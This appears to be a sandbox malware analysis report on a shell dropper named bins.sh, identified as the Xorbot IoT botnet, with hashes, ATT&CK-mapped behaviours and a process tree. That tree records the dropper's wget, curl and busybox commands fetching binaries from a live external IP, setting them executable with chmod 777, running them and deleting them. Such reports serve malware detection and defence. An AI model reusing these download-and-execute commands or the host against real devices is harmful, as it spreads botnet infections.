Analysis

  • max time kernel
    8s
  • max time network
    11s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/12/2024, 16:02

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ebc0c82c0e23fd014e8f04fd87507349

  • SHA1

    766664536fa298899ab7e3d6d792d614e1c11d0c

  • SHA256

    3404137c0765d015c748fae94b035e9e728e78ac85c9ea81992ba3a0dce96f35

  • SHA512

    82f98c0f995649ed1bec121d570ae17ad195379595ca4583fb900c23c64a7f773b561c2f35b6462022c40bb3e392cdf20706bb4a9c798e95fd072ab1a8e0f239

  • SSDEEP

    96:uPP63Z+kcgN6lTDXIPnsozMLMP65N9PP63bZ+kcgN8lvHDXIPnlvBk5mqL6P85NU:5+kcg47AMAP65nkcgXWo9

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:663
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:665
        • /usr/bin/wget
          wget http://37.44.238.68/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:671
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:679
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          ./pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:693
        • /bin/rm
          rm pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          PID:695
        • /usr/bin/wget
          wget http://37.44.238.68/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
            PID:696
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:700
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
            2⤵
              PID:702
            • /bin/chmod
              chmod 777 VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
              2⤵
              • File and Directory Permissions Modification
              PID:704
            • /tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
              ./VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
              2⤵
              • Executes dropped EXE
              PID:705
            • /bin/rm
              rm VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
              2⤵
                PID:706
              • /usr/bin/wget
                wget http://37.44.238.68/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
                2⤵
                  PID:707
                • /usr/bin/curl
                  curl -O http://37.44.238.68/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:708
                • /bin/busybox
                  /bin/busybox wget http://37.44.238.68/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
                  2⤵
                    PID:709
                  • /bin/chmod
                    chmod 777 MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:710
                  • /tmp/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
                    ./MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
                    2⤵
                    • Executes dropped EXE
                    PID:711
                  • /bin/rm
                    rm MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
                    2⤵
                      PID:712
                    • /usr/bin/wget
                      wget http://37.44.238.68/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
                      2⤵
                        PID:713

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V

                      Filesize

                      555B

                      MD5

                      c3da85a3173a4ec9d42682016f6a69e2

                      SHA1

                      b644cacfbf06e841788ab8deb5e388ef7ddf982d

                      SHA256

                      77df749f6bbe85442500437f7e798f46b9635da344811ae3b4bf7d43048ee9bb

                      SHA512

                      ff3c45bb810169a269b1d0edcfc251c2b31e4acaec0acf1f8a561752b261fcba76ad0f5f5b298f64c50afa7ac9b99262b25af161451e83b14b202c8d33f2eaeb

                    • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74

                      Filesize

                      112KB

                      MD5

                      05d7857dcead18bbd86d2935f591873c

                      SHA1

                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                      SHA256

                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                      SHA512

                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e